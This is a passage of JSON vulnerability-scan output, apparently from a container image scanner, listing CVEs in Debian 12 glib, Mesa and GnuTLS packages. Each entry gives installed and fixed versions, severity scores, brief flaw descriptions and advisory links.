"https://access.redhat.com/errata/RHSA-2026:82354", "https://access.redhat.com/errata/RHSA-2026:82368", "https://access.redhat.com/errata/RHSA-2026:82371", "https://access.redhat.com/errata/RHSA-2026:82372", "https://access.redhat.com/errata/RHSA-2026:82415", "https://access.redhat.com/errata/RHSA-2026:82811", "https://access.redhat.com/errata/RHSA-2026:82857", "https://access.redhat.com/errata/RHSA-2026:82888", "https://access.redhat.com/errata/RHSA-2026:89725", "https://access.redhat.com/errata/RHSA-2026:92449", "https://access.redhat.com/errata/RHSA-2026:92452", "https://access.redhat.com/security/cve/CVE-2026-58014", "https://bugzilla.redhat.com/2492243", "https://bugzilla.redhat.com/2492245", "https://bugzilla.redhat.com/2492247", "https://bugzilla.redhat.com/2492248", "https://bugzilla.redhat.com/2492255", "https://bugzilla.redhat.com/2492256", "https://bugzilla.redhat.com/2499675", "https://bugzilla.redhat.com/show_bug.cgi?id=2492243", "https://bugzilla.redhat.com/show_bug.cgi?id=2492245", "https://bugzilla.redhat.com/show_bug.cgi?id=2492247", "https://bugzilla.redhat.com/show_bug.cgi?id=2492248", "https://bugzilla.redhat.com/show_bug.cgi?id=2492255", "https://bugzilla.redhat.com/show_bug.cgi?id=2492256", "https://bugzilla.redhat.com/show_bug.cgi?id=2499675", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15588", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58010", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58012", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58013", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58014", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58015", "https://errata.almalinux.org/9/ALSA-2026-55440.html", "https://errata.rockylinux.org/RLSA-2026:55440", "https://github.com/advisories/GHSA-h88q-m8mm-7243", "https://gitlab.gnome.org/GNOME/glib/-/issues/3930", "https://linux.oracle.com/cve/CVE-2026-58014.html", "https://linux.oracle.com/errata/ELSA-2026-65773-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-58014", "https://ubuntu.com/security/notices/USN-8794-1", "https://www.cve.org/CVERecord?id=CVE-2026-58014" ], "PublishedDate": "2026-06-30T13:19:17.58Z", "LastModifiedDate": "2026-11-06T08:17:33.43Z" }, { "VulnerabilityID": "CVE-2026-58015", "PkgID": "libglib2.0-0@2.74.6-2+deb12u8", "PkgName": "libglib2.0-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libglib2.0-0@2.74.6-2%2Bdeb12u8?arch=amd64\u0026distro=debian-12.13", "UID": "d2e3645d4c6a35df" }, "InstalledVersion": "2.74.6-2+deb12u8", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-58015", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2a7d206f94c0751ed84763852d71e91bfe4bfa6e4cc8e79b119ebf5d8136de11", "Title": "glib: path traversal in glib/gio/gdbusauthmechanismsha1.c via keyring_lookup_entry and mechanism_client_data_receive", "Description": "A flaw was found in GLib. The D-Bus client-side implementation of the DBUS_COOKIE_SHA1 SASL authentication mechanism does not validate the cookie_context parameter received from the server. A malicious D-Bus server can supply a cookie_context containing path traversal sequences, causing the client to read an arbitrary file and exfiltrate sensitive data by verifying guessed file contents against a generated hash.", "Severity": "HIGH", "CweIDs": [ "CWE-22" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 2, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:49512", "https://access.redhat.com/errata/RHSA-2026:55440", "https://access.redhat.com/errata/RHSA-2026:57015", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:61766", "https://access.redhat.com/errata/RHSA-2026:61783", "https://access.redhat.com/errata/RHSA-2026:63135", "https://access.redhat.com/errata/RHSA-2026:63138", "https://access.redhat.com/errata/RHSA-2026:63140", "https://access.redhat.com/errata/RHSA-2026:65762", "https://access.redhat.com/errata/RHSA-2026:65763", "https://access.redhat.com/errata/RHSA-2026:65767", "https://access.redhat.com/errata/RHSA-2026:65768", "https://access.redhat.com/errata/RHSA-2026:65769", "https://access.redhat.com/errata/RHSA-2026:65770", "https://access.redhat.com/errata/RHSA-2026:65771", "https://access.redhat.com/errata/RHSA-2026:65773", "https://access.redhat.com/errata/RHSA-2026:66018", "https://access.redhat.com/errata/RHSA-2026:66357", "https://access.redhat.com/errata/RHSA-2026:70646", "https://access.redhat.com/errata/RHSA-2026:72394", "https://access.redhat.com/errata/RHSA-2026:72395", "https://access.redhat.com/errata/RHSA-2026:72399", "https://access.redhat.com/errata/RHSA-2026:72470", "https://access.redhat.com/errata/RHSA-2026:72475", "https://access.redhat.com/errata/RHSA-2026:72476", "https://access.redhat.com/errata/RHSA-2026:72502", "https://access.redhat.com/errata/RHSA-2026:73859", "https://access.redhat.com/errata/RHSA-2026:73866", "https://access.redhat.com/errata/RHSA-2026:73909", "https://access.redhat.com/errata/RHSA-2026:73929", "https://access.redhat.com/errata/RHSA-2026:73930", "https://access.redhat.com/errata/RHSA-2026:73959", "https://access.redhat.com/errata/RHSA-2026:73960", "https://access.redhat.com/errata/RHSA-2026:73961", "https://access.redhat.com/errata/RHSA-2026:73962", "https://access.redhat.com/errata/RHSA-2026:74458", "https://access.redhat.com/errata/RHSA-2026:74459", "https://access.redhat.com/errata/RHSA-2026:74460", "https://access.redhat.com/errata/RHSA-2026:74461", "https://access.redhat.com/errata/RHSA-2026:74462", "https://access.redhat.com/errata/RHSA-2026:74463", "https://access.redhat.com/errata/RHSA-2026:74674", "https://access.redhat.com/errata/RHSA-2026:74677", "https://access.redhat.com/errata/RHSA-2026:74678", "https://access.redhat.com/errata/RHSA-2026:74679", "https://access.redhat.com/errata/RHSA-2026:74681", "https://access.redhat.com/errata/RHSA-2026:74683", "https://access.redhat.com/errata/RHSA-2026:74685", "https://access.redhat.com/errata/RHSA-2026:74687", "https://access.redhat.com/errata/RHSA-2026:74688", "https://access.redhat.com/errata/RHSA-2026:74771", "https://access.redhat.com/errata/RHSA-2026:75652", "https://access.redhat.com/errata/RHSA-2026:75654", "https://access.redhat.com/errata/RHSA-2026:75655", "https://access.redhat.com/errata/RHSA-2026:75657", "https://access.redhat.com/errata/RHSA-2026:75658", "https://access.redhat.com/errata/RHSA-2026:75659", "https://access.redhat.com/errata/RHSA-2026:75660", "https://access.redhat.com/errata/RHSA-2026:76042", "https://access.redhat.com/errata/RHSA-2026:77320", "https://access.redhat.com/errata/RHSA-2026:80769", "https://access.redhat.com/errata/RHSA-2026:80771", "https://access.redhat.com/errata/RHSA-2026:82059", "https://access.redhat.com/errata/RHSA-2026:82061", "https://access.redhat.com/errata/RHSA-2026:82066", "https://access.redhat.com/errata/RHSA-2026:82304", "https://access.redhat.com/errata/RHSA-2026:82322", "https://access.redhat.com/errata/RHSA-2026:82336", "https://access.redhat.com/errata/RHSA-2026:82347", "https://access.redhat.com/errata/RHSA-2026:82354", "https://access.redhat.com/errata/RHSA-2026:82368", "https://access.redhat.com/errata/RHSA-2026:82371", "https://access.redhat.com/errata/RHSA-2026:82372", "https://access.redhat.com/errata/RHSA-2026:82415", "https://access.redhat.com/errata/RHSA-2026:82811", "https://access.redhat.com/errata/RHSA-2026:82857", "https://access.redhat.com/errata/RHSA-2026:82888", "https://access.redhat.com/errata/RHSA-2026:92449", "https://access.redhat.com/errata/RHSA-2026:92452", "https://access.redhat.com/security/cve/CVE-2026-58015", "https://bugzilla.redhat.com/2492243", "https://bugzilla.redhat.com/2492245", "https://bugzilla.redhat.com/2492247", "https://bugzilla.redhat.com/2492248", "https://bugzilla.redhat.com/2492255", "https://bugzilla.redhat.com/2492256", "https://bugzilla.redhat.com/2499675", "https://bugzilla.redhat.com/show_bug.cgi?id=2492243", "https://bugzilla.redhat.com/show_bug.cgi?id=2492245", "https://bugzilla.redhat.com/show_bug.cgi?id=2492247", "https://bugzilla.redhat.com/show_bug.cgi?id=2492248", "https://bugzilla.redhat.com/show_bug.cgi?id=2492255", "https://bugzilla.redhat.com/show_bug.cgi?id=2492256", "https://bugzilla.redhat.com/show_bug.cgi?id=2499675", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15588", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58010", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58012", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58013", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58014", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58015", "https://errata.almalinux.org/9/ALSA-2026-55440.html", "https://errata.rockylinux.org/RLSA-2026:55440", "https://github.com/advisories/GHSA-hmpf-72wc-2r6x", "https://gitlab.gnome.org/GNOME/glib/-/issues/3931", "https://linux.oracle.com/cve/CVE-2026-58015.html", "https://linux.oracle.com/errata/ELSA-2026-65773-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-58015", "https://ubuntu.com/security/notices/USN-8794-1", "https://www.cve.org/CVERecord?id=CVE-2026-58015" ], "PublishedDate": "2026-06-30T13:19:17.707Z", "LastModifiedDate": "2026-11-06T08:17:35.197Z" }, { "VulnerabilityID": "CVE-2026-40393", "PkgID": "libglx-mesa0@22.3.6-1+deb12u1", "PkgName": "libglx-mesa0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libglx-mesa0@22.3.6-1%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "61deec2946f52e33" }, "InstalledVersion": "22.3.6-1+deb12u1", "FixedVersion": "22.3.6-1+deb12u2", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-40393", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2554d2d8e844ab672707b60bc859b779d3ec4b3921ef128a944d669d278d2dac", "Title": "In Mesa before 25.3.6 and 26 before 26.0.1, out-of-bounds memory acces ...", "Description": "In Mesa before 25.3.6 and 26 before 26.0.1, out-of-bounds memory access can occur in WebGPU because the amount of to-be-allocated data depends on an untrusted party, and is then used for alloca.", "Severity": "CRITICAL", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "azure": 3, "nvd": 4, "photon": 4, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 } }, "References": [ "https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/39866", "https://lists.debian.org/debian-lts-announce/2026/07/msg00021.html", "https://lists.freedesktop.org/archives/mesa-dev/2026-February/226597.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-40393", "https://ubuntu.com/security/notices/USN-8427-1", "https://www.cve.org/CVERecord?id=CVE-2026-40393" ], "PublishedDate": "2026-04-12T19:16:20.797Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-33845", "VendorIDs": [ "DSA-6281-1" ], "PkgID": "libgnutls30@3.7.9-2+deb12u5", "PkgName": "libgnutls30", "PkgIdentifier": { "PURL": "pkg:deb/debian/libgnutls30@3.7.9-2%2Bdeb12u5?arch=amd64\u0026distro=debian-12.13", "UID": "48d5c0492eba034e" }, "InstalledVersion": "3.7.9-2+deb12u5", "FixedVersion": "3.7.9-2+deb12u7", "Status": "fixed", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-33845", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ee3dd1710703b38c435e123bc0f3f3b3c66f5f46e9ea902770f99619aec16839", "Title": "gnutls: GnuTLS: Denial of Service via DTLS zero-length fragment", "Description": "A flaw in GnuTLS DTLS handshake parsing allows malformed fragments with zero length and non-zero offset, leading to an integer underflow during reassembly and resulting in an out-of-bounds read. This issue is remotely exploitable and may cause information disclosure or denial of service.", "Severity": "CRITICAL", "CweIDs": [ "CWE-191" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "nvd": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:13274", "https://access.redhat.com/errata/RHSA-2026:20611", "https://access.redhat.com/errata/RHSA-2026:20612", "https://access.redhat.com/errata/RHSA-2026:20613", "https://access.redhat.com/errata/RHSA-2026:26319", "https://access.redhat.com/errata/RHSA-2026:26409", "https://access.redhat.com/errata/RHSA-2026:29197", "https://access.redhat.com/errata/RHSA-2026:30004", "https://access.redhat.com/errata/RHSA-2026:30849", "https://access.redhat.com/errata/RHSA-2026:30850", "https://access.redhat.com/errata/RHSA-2026:32962", "https://access.redhat.com/errata/RHSA-2026:33125", "https://access.redhat.com/errata/RHSA-2026:34372", "https://access.redhat.com/errata/RHSA-2026:36004", "https://access.redhat.com/errata/RHSA-2026:36005", "https://access.redhat.com/errata/RHSA-2026:36006", "https://access.redhat.com/errata/RHSA-2026:41921", "https://access.redhat.com/errata/RHSA-2026:56786", "https://access.redhat.com/errata/RHSA-2026:56853", "https://access.redhat.com/errata/RHSA-2026:56911", "https://access.redhat.com/errata/RHSA-2026:57402", "https://access.redhat.com/errata/RHSA-2026:57483", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:59831", "https://access.redhat.com/errata/RHSA-2026:60019", "https://access.redhat.com/errata/RHSA-2026:65839", "https://access.redhat.com/errata/RHSA-2026:72502", "https://access.redhat.com/errata/RHSA-2026:74674", "https://access.redhat.com/errata/RHSA-2026:82304", "https://access.redhat.com/errata/RHSA-2026:82322", "https://access.redhat.com/errata/RHSA-2026:82347", "https://access.redhat.com/errata/RHSA-2026:82354", "https://access.redhat.com/errata/RHSA-2026:82372", "https://access.redhat.com/errata/RHSA-2026:82857", "https://access.redhat.com/errata/RHSA-2026:82888", "https://access.redhat.com/security/cve/CVE-2026-33845", "https://bugzilla.redhat.com/2445763", "https://bugzilla.redhat.com/2450624", "https://bugzilla.redhat.com/2450625", "https://bugzilla.redhat.com/2467279", "https://bugzilla.redhat.com/2467289", "https://bugzilla.redhat.com/2467437", "https://bugzilla.redhat.com/show_bug.cgi?id=2445762", "https://bugzilla.redhat.com/show_bug.cgi?id=2445763", "https://bugzilla.redhat.com/show_bug.cgi?id=2450624", "https://bugzilla.redhat.com/show_bug.cgi?id=2450625", "https://bugzilla.redhat.com/show_bug.cgi?id=2467279", "https://bugzilla.redhat.com/show_bug.cgi?id=2467289", "https://bugzilla.redhat.com/show_bug.cgi?id=2467437", "https://bugzilla.redhat.com/show_bug.cgi?id=2467441", "https://bugzilla.redhat.com/show_bug.cgi?id=2467448", "https://bugzilla.redhat.com/show_bug.cgi?id=2467450", "https://bugzilla.redhat.com/show_bug.cgi?id=2467451", "https://bugzilla.redhat.com/show_bug.cgi?id=2467678", "https://bugzilla.redhat.com/show_bug.cgi?id=2467686", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33845", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33846", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3832", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3833", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42009", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42010", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42012", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42013", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42014", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-5260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-5419", "https://errata.almalinux.org/9/ALSA-2026-20612.html", "https://errata.rockylinux.org/RLSA-2026:20612", "https://linux.oracle.com/cve/CVE-2026-33845.html", "https://linux.oracle.com/errata/ELSA-2026-50346.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-33845", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33845.json", "https://ubuntu.com/security/notices/USN-8284-1", "https://ubuntu.com/security/notices/USN-8502-1", "https://www.cve.org/CVERecord?id=CVE-2026-33845", "https://www.gnutls.org/security-new.html#GNUTLS-SA-2026-04-29-3" ], "PublishedDate": "2026-04-30T18:16:28.003Z", "LastModifiedDate": "2026-11-04T23:17:27.143Z" }, { "VulnerabilityID": "CVE-2026-42010", "VendorIDs": [ "DSA-6281-1" ], "PkgID": "libgnutls30@3.7.9-2+deb12u5", "PkgName": "libgnutls30", "PkgIdentifier": { "PURL": "pkg:deb/debian/libgnutls30@3.7.9-2%2Bdeb12u5?arch=amd64\u0026distro=debian-12.13", "UID": "48d5c0492eba034e" }, "InstalledVersion": "3.7.9-2+deb12u5", "FixedVersion": "3.7.9-2+deb12u7", "Status": "fixed", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42010", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0350a94d9d4895495802dafafaeaf6af04347e59ae7374b6c71c551c9c18fa26", "Title": "gnutls: gnutls: Authentication Bypass via NUL Character in Username", "Description": "A flaw was found in gnutls. Servers configured with RSA-PSK (Rivest–Shamir–Adleman – Pre-Shared Key) wrongfully matched usernames containing a NUL character with truncated usernames. A remote attacker could exploit this by sending a specially crafted username, leading to an authentication bypass. This vulnerability allows an attacker to gain unauthorized access by circumventing the authentication process.", "Severity": "CRITICAL", "CweIDs": [ "CWE-170", "CWE-626" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "nvd": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:13274", "https://access.redhat.com/errata/RHSA-2026:20611", "https://access.redhat.com/errata/RHSA-2026:20612", "https://access.redhat.com/errata/RHSA-2026:20613", "https://access.redhat.com/errata/RHSA-2026:26319", "https://access.redhat.com/errata/RHSA-2026:26409", "https://access.redhat.com/errata/RHSA-2026:29197", "https://access.redhat.com/errata/RHSA-2026:30004", "https://access.redhat.com/errata/RHSA-2026:30849", "https://access.redhat.com/errata/RHSA-2026:30850", "https://access.redhat.com/errata/RHSA-2026:32962", "https://access.redhat.com/errata/RHSA-2026:33125", "https://access.redhat.com/errata/RHSA-2026:34764", "https://access.redhat.com/errata/RHSA-2026:34788", "https://access.redhat.com/errata/RHSA-2026:34790", "https://access.redhat.com/errata/RHSA-2026:36004", "https://access.redhat.com/errata/RHSA-2026:36005", "https://access.redhat.com/errata/RHSA-2026:36006", "https://access.redhat.com/errata/RHSA-2026:40762", "https://access.redhat.com/errata/RHSA-2026:41921", "https://access.redhat.com/errata/RHSA-2026:56853", "https://access.redhat.com/errata/RHSA-2026:57483", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:59831", "https://access.redhat.com/errata/RHSA-2026:60019", "https://access.redhat.com/errata/RHSA-2026:62409", "https://access.redhat.com/errata/RHSA-2026:65839", "https://access.redhat.com/errata/RHSA-2026:67857", "https://access.redhat.com/errata/RHSA-2026:72502", "https://access.redhat.com/errata/RHSA-2026:74674", "https://access.redhat.com/errata/RHSA-2026:82304", "https://access.redhat.com/errata/RHSA-2026:82322", "https://access.redhat.com/errata/RHSA-2026:82347", "https://access.redhat.com/errata/RHSA-2026:82354", "https://access.redhat.com/errata/RHSA-2026:82372", "https://access.redhat.com/errata/RHSA-2026:82857", "https://access.redhat.com/errata/RHSA-2026:82888", "https://access.redhat.com/security/cve/CVE-2026-42010", "https://bugzilla.redhat.com/2445763", "https://bugzilla.redhat.com/2450624", "https://bugzilla.redhat.com/2450625", "https://bugzilla.redhat.com/2467279", "https://bugzilla.redhat.com/2467289", "https://bugzilla.redhat.com/2467437", "https://bugzilla.redhat.com/show_bug.cgi?id=2445762", "https://bugzilla.redhat.com/show_bug.cgi?id=2445763", "https://bugzilla.redhat.com/show_bug.cgi?id=2450624", "https://bugzilla.redhat.com/show_bug.cgi?id=2450625", "https://bugzilla.redhat.com/show_bug.cgi?id=2467279", "https://bugzilla.redhat.com/show_bug.cgi?id=2467289", "https://bugzilla.redhat.com/show_bug.cgi?id=2467437", "https://bugzilla.redhat.com/show_bug.cgi?id=2467441", "https://bugzilla.redhat.com/show_bug.cgi?id=2467448", "https://bugzilla.redhat.com/show_bug.cgi?id=2467450", "https://bugzilla.redhat.com/show_bug.cgi?id=2467451", "https://bugzilla.redhat.com/show_bug.cgi?id=2467678", "https://bugzilla.redhat.com/show_bug.cgi?id=2467686", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33845", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33846", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3832", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3833", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42009", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42010", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42012", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42013", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42014", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-5260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-5419", "https://errata.almalinux.org/9/ALSA-2026-20612.html", "https://errata.rockylinux.org/RLSA-2026:20612", "https://linux.oracle.com/cve/CVE-2026-42010.html", "https://linux.oracle.com/errata/ELSA-2026-50346.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-42010", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42010.json", "https://ubuntu.com/security/notices/USN-8284-1", "https://ubuntu.com/security/notices/USN-8502-1", "https://www.cve.org/CVERecord?id=CVE-2026-42010", "https://www.gnutls.org/security-new.html#GNUTLS-SA-2026-04-29-4" ], "PublishedDate": "2026-05-07T12:16:17.977Z", "LastModifiedDate": "2026-11-04T23:17:33.233Z" }, { "VulnerabilityID": "CVE-2026-33846", "VendorIDs": [ "DSA-6281-1" ], "PkgID": "libgnutls30@3.7.9-2+deb12u5", "PkgName": "libgnutls30", "PkgIdentifier": { "PURL": "pkg:deb/debian/libgnutls30@3.7.9-2%2Bdeb12u5?arch=amd64\u0026distro=debian-12.13", "UID": "48d5c0492eba034e" }, "InstalledVersion": "3.7.9-2+deb12u5", "FixedVersion": "3.7.9-2+deb12u7", "Status": "fixed", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-33846", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:371eba553038b62351e54c98e598b9a12c1eadf4f86045cadf705f56361907a0", "Title": "gnutls: GnuTLS: Denial of Service via heap buffer overflow in DTLS handshake fragment reassembly", "Description": "A heap buffer overflow vulnerability exists in the DTLS handshake fragment reassembly logic of GnuTLS. The issue arises in merge_handshake_packet() where incoming handshake fragments are matched and merged based solely on handshake type, without validating that the message_length field remains consistent across all fragments of the same logical message. An attacker can exploit this by sending crafted DTLS fragments with conflicting message_length values, causing the implementation to allocate a buffer based on a smaller initial fragment and subsequently write beyond its bounds using larger, inconsistent fragments. Because the merge operation does not enforce proper bounds checking against the allocated buffer size, this results in an out-of-bounds write on the heap. The vulnerability is remotely exploitable without authentication via the DTLS handshake path and can lead to application crashes or potential memory corruption.", "Severity": "HIGH", "CweIDs": [ "CWE-130" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:13274", "https://access.redhat.com/errata/RHSA-2026:20611", "https://access.redhat.com/errata/RHSA-2026:20612", "https://access.redhat.com/errata/RHSA-2026:20613", "https://access.redhat.com/errata/RHSA-2026:26319", "https://access.redhat.com/errata/RHSA-2026:26409", "https://access.redhat.com/errata/RHSA-2026:29197", "https://access.redhat.com/errata/RHSA-2026:30004", "https://access.redhat.com/errata/RHSA-2026:30849", "https://access.redhat.com/errata/RHSA-2026:30850", "https://access.redhat.com/errata/RHSA-2026:32962", "https://access.redhat.com/errata/RHSA-2026:33125", "https://access.redhat.com/errata/RHSA-2026:34372", "https://access.redhat.com/errata/RHSA-2026:36004", "https://access.redhat.com/errata/RHSA-2026:36005", "https://access.redhat.com/errata/RHSA-2026:36006", "https://access.redhat.com/errata/RHSA-2026:41921", "https://access.redhat.com/errata/RHSA-2026:56786", "https://access.redhat.com/errata/RHSA-2026:56853", "https://access.redhat.com/errata/RHSA-2026:56911", "https://access.redhat.com/errata/RHSA-2026:57402", "https://access.redhat.com/errata/RHSA-2026:57483", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:59831", "https://access.redhat.com/errata/RHSA-2026:60019", "https://access.redhat.com/errata/RHSA-2026:65839", "https://access.redhat.com/errata/RHSA-2026:72502", "https://access.redhat.com/errata/RHSA-2026:74674", "https://access.redhat.com/errata/RHSA-2026:82304", "https://access.redhat.com/errata/RHSA-2026:82322", "https://access.redhat.com/errata/RHSA-2026:82347", "https://access.redhat.com/errata/RHSA-2026:82354", "https://access.redhat.com/errata/RHSA-2026:82372", "https://access.redhat.com/errata/RHSA-2026:82857", "https://access.redhat.com/errata/RHSA-2026:82888", "https://access.redhat.com/security/cve/CVE-2026-33846", "https://bugzilla.redhat.com/2445763", "https://bugzilla.redhat.com/2450624", "https://bugzilla.redhat.com/2450625", "https://bugzilla.redhat.com/2467279", "https://bugzilla.redhat.com/2467289", "https://bugzilla.redhat.com/2467437", "https://bugzilla.redhat.com/show_bug.cgi?id=2445762", "https://bugzilla.redhat.com/show_bug.cgi?id=2445763", "https://bugzilla.redhat.com/show_bug.cgi?id=2450624", "https://bugzilla.redhat.com/show_bug.cgi?id=2450625", "https://bugzilla.redhat.com/show_bug.cgi?id=2467279", "https://bugzilla.redhat.com/show_bug.cgi?id=2467289", "https://bugzilla.redhat.com/show_bug.cgi?id=2467437", "https://bugzilla.redhat.com/show_bug.cgi?id=2467441", "https://bugzilla.redhat.com/show_bug.cgi?id=2467448", "https://bugzilla.redhat.com/show_bug.cgi?id=2467450", "https://bugzilla.redhat.com/show_bug.cgi?id=2467451", "https://bugzilla.redhat.com/show_bug.cgi?id=2467678", "https://bugzilla.redhat.com/show_bug.cgi?id=2467686", "https://creativecommons.org/licenses/by/4.0/", 